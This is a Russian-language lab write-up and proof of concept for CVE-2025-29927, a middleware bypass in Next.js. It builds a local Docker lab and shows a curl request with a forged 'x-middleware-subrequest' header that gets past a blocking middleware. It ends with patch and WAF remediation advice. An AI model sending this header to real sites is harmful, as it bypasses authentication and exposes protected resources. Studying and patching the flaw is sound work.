
Доказательство концепции для CVE-2025-29927, демонстрирующее обход промежуточного ПО в версиях Next.js до 13.5.9
CVE-2025-29927 — это уязвимость обхода промежуточного ПО (Middleware Bypass), обнаруженная в версиях Next.js от 1.11.4 и до версий 12.3.5, 13.5.9, 14.2.25 и 15.2.3. Она позволяет внешнему злоумышленнику пропустить логику безопасности — такую как аутентификация, обнаружение ботов или геолокационные перенаправления, — реализованную разработчиком в файле middleware.ts.
Next.js использует внутренние HTTP-заголовки для обмена данными между различными архитектурными уровнями. Один из таких заголовков — x-middleware-subrequest.
Уязвимость существует потому, что уязвимые версии Next.js доверяют этому заголовку, даже если он отправлен внешним клиентом (например, браузером или curl). Когда сервер видит этот заголовок, он предполагает, что запрос уже был обработан и «пропущен» промежуточным ПО, поэтому полностью пропускает выполнение вашего кода безопасности.
Лаборатория работает внутри Docker-контейнера Node:18-alpine для обеспечения чистого и воспроизводимого окружения.
Запускаем именованный контейнер в фоновом режиме. Используем sleep infinity, чтобы контейнер оставался активным во время настройки.
На начальном этапе у меня возникли некоторые проблемы с перезапуском контейнера на более поздних этапах, поэтому я остановился на sleep infinity.
docker run -d -p 3000:3000 --name CVE-2025-29927-Lab node:18-alpine sleep infinity
Устанавливаем конкретную уязвимую версию Next.js. Обратите внимание, что несмотря на флаг --src-dir false, фреймворк создаёт директорию src, в которую мы должны поместить наше промежуточное ПО, чтобы оно было активным.
docker exec -it CVE-2025-29927-Lab npx --yes [email protected] lab --typescript --tailwind --eslint --app false --src-dir false --use-npm
Для имитации барьера безопасности создаём файл middleware.ts. Это промежуточное ПО настроено на блокировку всех входящих запросов со статусом 401 Unauthorized.
# Войдите в оболочку контейнера
docker exec -it CVE-2025-29927-Lab sh
# Создайте файл middleware внутри директории src (одна длинная команда)
echo "import { NextResponse } from 'next/server'; export function middleware() { return new NextResponse('Blocked', { status: 401 }); } export const config = { matcher: '/:path*' };" > lab/src/middleware.ts
Запустите сервер разработки и дождитесь сигнала ✓ Ready в консоли.
# Всё ещё находясь в оболочке контейнера из Шага 3 - выполните команду ниже.
cd lab && npm run dev
Откройте новое окно терминала (не закрывайте предыдущее) на хост-машине, чтобы протестировать окружение с помощью curl.
Стандартный запрос без изменённых заголовков корректно перехватывается и блокируется нашим промежуточным ПО.
curl.exe -I http://localhost:3000/
# Ожидаемый ответ: HTTP/1.1 401 Unauthorized
Внедряя внутренний заголовок x-middleware-subrequest: src/middleware, мы обманываем Next.js, заставляя его считать, что запрос уже был проверен внутренним процессом. Сервер пропускает выполнение промежуточного ПО и предоставляет полный доступ.
curl.exe -I -H "x-middleware-subrequest: src/middleware" http://localhost:3000/
# Ожидаемый ответ: HTTP/1.1 200 OK
Чтобы защитить ваше приложение от CVE-2025-29927, обновите Next.js до исправленной версии, соответствующей вашему текущему мажорному релизу:
Уязвимость устранена в следующих версиях. Убедитесь, что ваш package.json содержит как минимум эти версии:
# Пример обновления до последней исправленной версии
npm install next@latest
Если немедленное обновление невозможно, настройте ваш брандмауэр веб-приложений (WAF) или обратный прокси-сервер (например, Nginx, Cloudflare или Varnish) на удаление или отбрасывание заголовка x-middleware-subrequest из всех входящих внешних запросов до того, как они достигнут сервера приложения Next.js.
После обновления вы можете проверить исправление, повторно запустив команду эксплуатации из Шага 5. Исправленный сервер больше не будет возвращать 200 OK при наличии поддельного заголовка.
Эта уязвимость существует из-за того, что Next.js доверяет клиентским заголовкам для идентификации внутренних подзапросов. Для устранения уязвимости следует обновить Next.js до версии, которая правильно проверяет или удаляет эти внутренние заголовки из входящего внешнего трафика.